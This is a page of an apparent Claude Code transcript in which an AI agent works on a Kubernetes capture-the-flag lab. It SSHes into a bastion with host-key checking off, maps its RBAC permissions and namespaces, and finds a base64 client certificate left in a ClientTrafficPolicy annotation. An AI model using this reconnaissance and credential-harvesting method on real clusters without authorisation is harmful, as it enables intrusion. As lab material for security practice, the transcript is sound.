Claude Code transcript - page 4/7

Creds are in /tmp/challenge-2

$ Bash
List challenge-2 directory contents
ls -la /tmp/challenge-2/
total 20
drwxrwxr-x  2 claude claude 4096 Mar 25 11:04 .
drwxrwxrwt 19 root   root   4096 Mar 25 11:03 ..
-rw-------  1 claude claude  169 Mar 25 10:45 simulator_config
-rw-r--r--  1 claude claude  203 Mar 25 10:47 simulator_known_hosts
-rw-------  1 claude claude 3247 Mar 25 10:42 simulator_rsa
Read
{
  "file_path": "/tmp/challenge-2/simulator_config"
}
     1→Host bastion 35.179.133.134
     2→    Hostname 35.179.133.134
     3→    User player
     4→    RequestTTY force
     5→    IdentityFile simulator_rsa
     6→    UserKnownHostsFile simulator_known_hosts
     7→
📝 Write ssh_config
/tmp/challenge-2/ssh_config
Host bastion 35.179.133.134
    Hostname 35.179.133.134
    User player
    RequestTTY force
    IdentityFile /tmp/challenge-2/simulator_rsa
    UserKnownHostsFile /tmp/challenge-2/simulator_known_hosts
File created successfully at: /tmp/challenge-2/ssh_config
$ Bash
Connect to challenge-2 and enumerate the cluster
chmod 600 /tmp/challenge-2/simulator_rsa && ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '===MOTD_END==='
kubectl auth whoami 2>&1
echo '===SEP==='
kubectl auth can-i --list 2>&1
echo '===SEP==='
kubectl get ns 2>&1
echo '===SEP==='
kubectl api-resources 2>&1
echo '===SEP==='
kubectl get all -A 2>&1
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo '===MOTD_END==='
kubectl auth whoami 2>&1
echo '===SEP==='
kubectl auth can-i --list 2>&1
echo '===SEP==='
kubectl get ns 2>&1
echo '===SEP==='
kubectl api-resources 2>&1
echo '===SEP==='
kubectl get all -A 2>&1
exit
echo '===MOTD_END==='
kubectl auth whoami 2>&1
echo '===SEP==='
kubectl auth can-i --list 2>&1
echo '===SEP==='
kubectl get ns 2>&1
echo '===SEP==='
kubectl api-resources 2>&1
echo '===SEP==='
kubectl get all -A 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '===MOTD_END==='
[?2004l===MOTD_END===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth whoami 2>&1
[?2004lATTRIBUTE                                           VALUE
Username                                            system:serviceaccount:default:jumppod
UID                                                 d747df38-2ad0-4f60-a328-80bbd5f5bce0
Groups                                              [system:serviceaccounts system:serviceaccounts:default system:authenticated]
Extra: authentication.kubernetes.io/credential-id   [JTI=da056b75-ce87-470e-80a5-32608eba8d5e]
Extra: authentication.kubernetes.io/node-name       [node-1]
Extra: authentication.kubernetes.io/node-uid        [dfb10bdc-f129-4d70-80e7-0ceda73cfe92]
Extra: authentication.kubernetes.io/pod-name        [jumppod-cd5dfbd7-m4b2w]
Extra: authentication.kubernetes.io/pod-uid         [c38878da-78a0-432d-a08c-c00d3d136f77]
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list 2>&1
[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
namespaces                                      []                                     []               [get watch list]
services                                        []                                     []               [get watch list]
clienttrafficpolicies.gateway.envoyproxy.io     []                                     []               [get watch list]
envoyproxies.gateway.envoyproxy.io              []                                     []               [get watch list]
gateways.gateway.networking.k8s.io              []                                     []               [get watch list]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get ns 2>&1
[?2004lNAME                   STATUS   AGE
backend                Active   14m
default                Active   16m
envoy-gateway-system   Active   14m
kube-node-lease        Active   16m
kube-public            Active   16m
kube-system            Active   16m
linkerd                Active   15m
production             Active   14m
supersecret            Active   14m
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl api-resources 2>&1
[?2004lNAME                                SHORTNAMES                 APIVERSION                             NAMESPACED   KIND
bindings                                                       v1                                     true         Binding
componentstatuses                   cs                         v1                                     false        ComponentStatus
configmaps                          cm                         v1                                     true         ConfigMap
endpoints                           ep                         v1                                     true         Endpoints
events                              ev                         v1                                     true         Event
limitranges                         limits                     v1                                     true         LimitRange
namespaces                          ns                         v1                                     false        Namespace
nodes                               no                         v1                                     false        Node
persistentvolumeclaims              pvc                        v1                                     true         PersistentVolumeClaim
persistentvolumes                   pv                         v1                                     false        PersistentVolume
pods                                po                         v1                                     true         Pod
podtemplates                                                   v1                                     true         PodTemplate
replicationcontrollers              rc                         v1                                     true         ReplicationController
resourcequotas                      quota                      v1                                     true         ResourceQuota
secrets                                                        v1                                     true         Secret
serviceaccounts                     sa                         v1                                     true         ServiceAccount
services                            svc                        v1                                     true         Service
mutatingwebhookconfigurations                                  admissionregistration.k8s.io/v1        false        MutatingWebhookConfiguration
validatingadmissionpolicies                                    admissionregistration.k8s.io/v1        false        ValidatingAdmissionPolicy
validatingadmissionpolicybindings                              admissionregistration.k8s.io/v1        false        ValidatingAdmissionPolicyBinding
validatingwebhookconfigurations                                admissionregistration.k8s.io/v1        false        ValidatingWebhookConfiguration
customresourcedefinitions           crd,crds                   apiextensions.k8s.io/v1                false        CustomResourceDefinition
apiservices                                                    apiregistration.k8s.io/v1              false        APIService
controllerrevisions                                            apps/v1                                true         ControllerRevision
daemonsets                          ds                         apps/v1                                true         DaemonSet
deployments                         deploy                     apps/v1                                true         Deployment
replicasets                         rs                         apps/v1                                true         ReplicaSet
statefulsets                        sts                        apps/v1                                true         StatefulSet
selfsubjectreviews                                             authentication.k8s.io/v1               false        SelfSubjectReview
tokenreviews                                                   authentication.k8s.io/v1               false        TokenReview
localsubjectaccessreviews                                      authorization.k8s.io/v1                true         LocalSubjectAccessReview
selfsubjectaccessreviews                                       authorization.k8s.io/v1                false        SelfSubjectAccessReview
selfsubjectrulesreviews                                        authorization.k8s.io/v1                false        SelfSubjectRulesReview
subjectaccessreviews                                           authorization.k8s.io/v1                false        SubjectAccessReview
horizontalpodautoscalers            hpa                        autoscaling/v2                         true         HorizontalPodAutoscaler
cronjobs                            cj                         batch/v1                               true         CronJob
jobs                                                           batch/v1                               true         Job
certificatesigningrequests          csr                        certificates.k8s.io/v1                 false        CertificateSigningRequest
leases                                                         coordination.k8s.io/v1                 true         Lease
bgpconfigurations                                              crd.projectcalico.org/v1               false        BGPConfiguration
bgpfilters                                                     crd.projectcalico.org/v1               false        BGPFilter
bgppeers                                                       crd.projectcalico.org/v1               false        BGPPeer
blockaffinities                                                crd.projectcalico.org/v1               false        BlockAffinity
caliconodestatuses                                             crd.projectcalico.org/v1               false        CalicoNodeStatus
clusterinformations                                            crd.projectcalico.org/v1               false        ClusterInformation
felixconfigurations                                            crd.projectcalico.org/v1               false        FelixConfiguration
globalnetworkpolicies                                          crd.projectcalico.org/v1               false        GlobalNetworkPolicy
globalnetworksets                                              crd.projectcalico.org/v1               false        GlobalNetworkSet
hostendpoints                                                  crd.projectcalico.org/v1               false        HostEndpoint
ipamblocks                                                     crd.projectcalico.org/v1               false        IPAMBlock
ipamconfigs                                                    crd.projectcalico.org/v1               false        IPAMConfig
ipamhandles                                                    crd.projectcalico.org/v1               false        IPAMHandle
ippools                                                        crd.projectcalico.org/v1               false        IPPool
ipreservations                                                 crd.projectcalico.org/v1               false        IPReservation
kubecontrollersconfigurations                                  crd.projectcalico.org/v1               false        KubeControllersConfiguration
networkpolicies                                                crd.projectcalico.org/v1               true         NetworkPolicy
networksets                                                    crd.projectcalico.org/v1               true         NetworkSet
stagedglobalnetworkpolicies                                    crd.projectcalico.org/v1               false        StagedGlobalNetworkPolicy
stagedkubernetesnetworkpolicies                                crd.projectcalico.org/v1               true         StagedKubernetesNetworkPolicy
stagednetworkpolicies                                          crd.projectcalico.org/v1               true         StagedNetworkPolicy
tiers                                                          crd.projectcalico.org/v1               false        Tier
endpointslices                                                 discovery.k8s.io/v1                    true         EndpointSlice
events                              ev                         events.k8s.io/v1                       true         Event
flowschemas                                                    flowcontrol.apiserver.k8s.io/v1        false        FlowSchema
prioritylevelconfigurations                                    flowcontrol.apiserver.k8s.io/v1        false        PriorityLevelConfiguration
backends                            be                         gateway.envoyproxy.io/v1alpha1         true         Backend
backendtrafficpolicies              btp                        gateway.envoyproxy.io/v1alpha1         true         BackendTrafficPolicy
clienttrafficpolicies               ctp                        gateway.envoyproxy.io/v1alpha1         true         ClientTrafficPolicy
envoyextensionpolicies              eep                        gateway.envoyproxy.io/v1alpha1         true         EnvoyExtensionPolicy
envoypatchpolicies                  epp                        gateway.envoyproxy.io/v1alpha1         true         EnvoyPatchPolicy
envoyproxies                        eproxy                     gateway.envoyproxy.io/v1alpha1         true         EnvoyProxy
httproutefilters                    hrf                        gateway.envoyproxy.io/v1alpha1         true         HTTPRouteFilter
securitypolicies                    sp                         gateway.envoyproxy.io/v1alpha1         true         SecurityPolicy
backendtlspolicies                  btlspolicy                 gateway.networking.k8s.io/v1           true         BackendTLSPolicy
gatewayclasses                      gc                         gateway.networking.k8s.io/v1           false        GatewayClass
gateways                            gtw                        gateway.networking.k8s.io/v1           true         Gateway
grpcroutes                                                     gateway.networking.k8s.io/v1           true         GRPCRoute
httproutes                                                     gateway.networking.k8s.io/v1           true         HTTPRoute
referencegrants                     refgrant                   gateway.networking.k8s.io/v1beta1      true         ReferenceGrant
tcproutes                                                      gateway.networking.k8s.io/v1alpha2     true         TCPRoute
tlsroutes                                                      gateway.networking.k8s.io/v1alpha3     true         TLSRoute
udproutes                                                      gateway.networking.k8s.io/v1alpha2     true         UDPRoute
xbackendtrafficpolicies             xbtrafficpolicy            gateway.networking.x-k8s.io/v1alpha1   true         XBackendTrafficPolicy
xlistenersets                       lset                       gateway.networking.x-k8s.io/v1alpha1   true         XListenerSet
xmeshes                             mesh                       gateway.networking.x-k8s.io/v1alpha1   false        XMesh
serviceprofiles                     sp                         linkerd.io/v1alpha2                    true         ServiceProfile
ingressclasses                                                 networking.k8s.io/v1                   false        IngressClass
ingresses                           ing                        networking.k8s.io/v1                   true         Ingress
ipaddresses                         ip                         networking.k8s.io/v1                   false        IPAddress
networkpolicies                     netpol                     networking.k8s.io/v1                   true         NetworkPolicy
servicecidrs                                                   networking.k8s.io/v1                   false        ServiceCIDR
runtimeclasses                                                 node.k8s.io/v1                         false        RuntimeClass
poddisruptionbudgets                pdb                        policy/v1                              true         PodDisruptionBudget
authorizationpolicies               authzpolicy                policy.linkerd.io/v1alpha1             true         AuthorizationPolicy
egressnetworks                                                 policy.linkerd.io/v1alpha1             true         EgressNetwork
httplocalratelimitpolicies                                     policy.linkerd.io/v1alpha1             true         HTTPLocalRateLimitPolicy
httproutes                                                     policy.linkerd.io/v1beta3              true         HTTPRoute
meshtlsauthentications              meshtlsauthn               policy.linkerd.io/v1alpha1             true         MeshTLSAuthentication
networkauthentications              netauthn,networkauthn      policy.linkerd.io/v1alpha1             true         NetworkAuthentication
serverauthorizations                saz,serverauthz,srvauthz   policy.linkerd.io/v1beta1              true         ServerAuthorization
servers                             srv                        policy.linkerd.io/v1beta3              true         Server
adminnetworkpolicies                anp                        policy.networking.k8s.io/v1alpha1      false        AdminNetworkPolicy
baselineadminnetworkpolicies        banp                       policy.networking.k8s.io/v1alpha1      false        BaselineAdminNetworkPolicy
clusterrolebindings                                            rbac.authorization.k8s.io/v1           false        ClusterRoleBinding
clusterroles                                                   rbac.authorization.k8s.io/v1           false        ClusterRole
rolebindings                                                   rbac.authorization.k8s.io/v1           true         RoleBinding
roles                                                          rbac.authorization.k8s.io/v1           true         Role
deviceclasses                                                  resource.k8s.io/v1                     false        DeviceClass
resourceclaims                                                 resource.k8s.io/v1                     true         ResourceClaim
resourceclaimtemplates                                         resource.k8s.io/v1                     true         ResourceClaimTemplate
resourceslices                                                 resource.k8s.io/v1                     false        ResourceSlice
priorityclasses                     pc                         scheduling.k8s.io/v1                   false        PriorityClass
csidrivers                                                     storage.k8s.io/v1                      false        CSIDriver
csinodes                                                       storage.k8s.io/v1                      false        CSINode
csistoragecapacities                                           storage.k8s.io/v1                      true         CSIStorageCapacity
storageclasses                      sc                         storage.k8s.io/v1                      false        StorageClass
volumeattachments                                              storage.k8s.io/v1                      false        VolumeAttachment
volumeattributesclasses             vac                        storage.k8s.io/v1                      false        VolumeAttributesClass
externalworkloads                                              workload.linkerd.io/v1beta1            true         ExternalWorkload
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get all -A 2>&1
[?2004lNAMESPACE              NAME                                    TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)                                            AGE
backend                backend                                 ClusterIP   10.104.138.143   <none>        8080/TCP                                           13m
default                kubernetes                              ClusterIP   10.96.0.1        <none>        443/TCP                                            16m
envoy-gateway-system   envoy-default-public-gateway-e00665ac   NodePort    10.111.253.191   <none>        443:31707/TCP                                      13m
envoy-gateway-system   envoy-gateway                           ClusterIP   10.109.102.81    <none>        18000/TCP,18001/TCP,18002/TCP,19001/TCP,9443/TCP   14m
kube-system            kube-dns                                ClusterIP   10.96.0.10       <none>        53/UDP,53/TCP,9153/TCP                             16m
linkerd                linkerd-dst                             ClusterIP   10.96.29.48      <none>        8086/TCP                                           15m
linkerd                linkerd-dst-headless                    ClusterIP   None             <none>        8086/TCP                                           15m
linkerd                linkerd-identity                        ClusterIP   10.102.252.214   <none>        8080/TCP                                           15m
linkerd                linkerd-identity-headless               ClusterIP   None             <none>        8080/TCP                                           15m
linkerd                linkerd-policy                          ClusterIP   None             <none>        8090/TCP                                           15m
linkerd                linkerd-policy-validator                ClusterIP   10.96.169.227    <none>        443/TCP                                            15m
linkerd                linkerd-proxy-injector                  ClusterIP   10.104.184.137   <none>        443/TCP                                            15m
linkerd                linkerd-sp-validator                    ClusterIP   10.103.170.24    <none>        443/TCP                                            15m
production             receiver                                ClusterIP   10.101.36.19     <none>        8080/TCP                                           13m
supersecret            supersecret                             ClusterIP   10.106.216.226   <none>        8080/TCP                                           13m
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "pods" in API group "" at the cluster scope
Error from server (Forbidden): replicationcontrollers is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "replicationcontrollers" in API group "" at the cluster scope
Error from server (Forbidden): daemonsets.apps is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "daemonsets" in API group "apps" at the cluster scope
Error from server (Forbidden): deployments.apps is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "deployments" in API group "apps" at the cluster scope
Error from server (Forbidden): replicasets.apps is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "replicasets" in API group "apps" at the cluster scope
Error from server (Forbidden): statefulsets.apps is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "statefulsets" in API group "apps" at the cluster scope
Error from server (Forbidden): horizontalpodautoscalers.autoscaling is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "horizontalpodautoscalers" in API group "autoscaling" at the cluster scope
Error from server (Forbidden): cronjobs.batch is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "cronjobs" in API group "batch" at the cluster scope
Error from server (Forbidden): jobs.batch is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "jobs" in API group "batch" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 35.179.133.134 closed.
Thinking

"Operation: Shadow Mesh" — a Linkerd service mesh challenge with an Envoy Gateway requiring a client certificate. Let me dig deeper.

$ Bash
Examine gateway config, client traffic policies, and per-namespace permissions
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== GATEWAY ==='
kubectl get gateways -A -o yaml 2>&1
echo '=== CTP ==='
kubectl get clienttrafficpolicies -A -o yaml 2>&1
echo '=== ENVOYPROXY ==='
kubectl get envoyproxies -A -o yaml 2>&1
echo '=== PERMS DEFAULT ==='
kubectl auth can-i --list -n default 2>&1
echo '=== PERMS BACKEND ==='
kubectl auth can-i --list -n backend 2>&1
echo '=== PERMS PRODUCTION ==='
kubectl auth can-i --list -n production 2>&1
echo '=== PERMS SUPERSECRET ==='
kubectl auth can-i --list -n supersecret 2>&1
echo '=== PERMS ENVOY ==='
kubectl auth can-i --list -n envoy-gateway-system 2>&1
echo '=== PERMS LINKERD ==='
kubectl auth can-i --list -n linkerd 2>&1
exit
SSHEOF
<persisted-output>
Output too large (32.9KB). Full output saved to: /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bjucdh8f0.txt

Preview (first 2KB):
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo '=== GATEWAY ==='
kubectl get gateways -A -o yaml 2>&1
echo '=== CTP ==='
...
</persisted-output>
Read
{
  "file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bjucdh8f0.txt",
  "offset": 60
}
    60→echo '=== PERMS ENVOY ==='
    61→kubectl auth can-i --list -n envoy-gateway-system 2>&1
    62→echo '=== PERMS LINKERD ==='
    63→kubectl auth can-i --list -n linkerd 2>&1
    64→exit
    65→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== GATEWAY ==='
    66→[?2004l=== GATEWAY ===
    67→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get gateways -A -o yaml 2>&1
    68→[?2004lapiVersion: v1
    69→items:
    70→- apiVersion: gateway.networking.k8s.io/v1
    71→  kind: Gateway
    72→  metadata:
    73→    creationTimestamp: "2026-03-25T10:51:19Z"
    74→    generation: 1
    75→    name: public-gateway
    76→    namespace: default
    77→    resourceVersion: "1848"
    78→    uid: 7aa88e28-99e5-420e-88f2-9652a3cc73c7
    79→  spec:
    80→    gatewayClassName: eg
    81→    listeners:
    82→    - allowedRoutes:
    83→        namespaces:
    84→          from: All
    85→      name: https
    86→      port: 443
    87→      protocol: HTTPS
    88→      tls:
    89→        certificateRefs:
    90→        - group: ""
    91→          kind: Secret
    92→          name: certs
    93→        mode: Terminate
    94→  status:
    95→    addresses:
    96→    - type: IPAddress
    97→      value: 10.0.199.242
    98→    - type: IPAddress
    99→      value: 10.0.186.255
   100→    - type: IPAddress
   101→      value: 10.0.155.145
   102→    conditions:
   103→    - lastTransitionTime: "2026-03-25T10:51:30Z"
   104→      message: The Gateway has been scheduled by Envoy Gateway
   105→      observedGeneration: 1
   106→      reason: Accepted
   107→      status: "True"
   108→      type: Accepted
   109→    - lastTransitionTime: "2026-03-25T10:51:30Z"
   110→      message: Address assigned to the Gateway, 1/1 envoy replicas available
   111→      observedGeneration: 1
   112→      reason: Programmed
   113→      status: "True"
   114→      type: Programmed
   115→    listeners:
   116→    - attachedRoutes: 1
   117→      conditions:
   118→      - lastTransitionTime: "2026-03-25T10:51:30Z"
   119→        message: Sending translated listener configuration to the data plane
   120→        observedGeneration: 1
   121→        reason: Programmed
   122→        status: "True"
   123→        type: Programmed
   124→      - lastTransitionTime: "2026-03-25T10:51:30Z"
   125→        message: Listener has been successfully translated
   126→        observedGeneration: 1
   127→        reason: Accepted
   128→        status: "True"
   129→        type: Accepted
   130→      - lastTransitionTime: "2026-03-25T10:51:30Z"
   131→        message: Listener references have been resolved
   132→        observedGeneration: 1
   133→        reason: ResolvedRefs
   134→        status: "True"
   135→        type: ResolvedRefs
   136→      name: https
   137→      supportedKinds:
   138→      - group: gateway.networking.k8s.io
   139→        kind: HTTPRoute
   140→      - group: gateway.networking.k8s.io
   141→        kind: GRPCRoute
   142→kind: List
   143→metadata:
   144→  resourceVersion: ""
   145→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== CTP ==='
   146→[?2004l=== CTP ===
   147→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get clienttrafficpolicies -A -o yaml 2>&1 ]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get clienttrafficpolicies -A -o yaml 2>&1
   148→[?2004lapiVersion: v1
   149→items:
   150→- apiVersion: gateway.envoyproxy.io/v1alpha1
   151→  kind: ClientTrafficPolicy
   152→  metadata:
   153→    annotations:
   154→      author: [email protected]
   155→      cert: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I4TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
   156→      comment: putting the cert and key here so they don't get lost :)
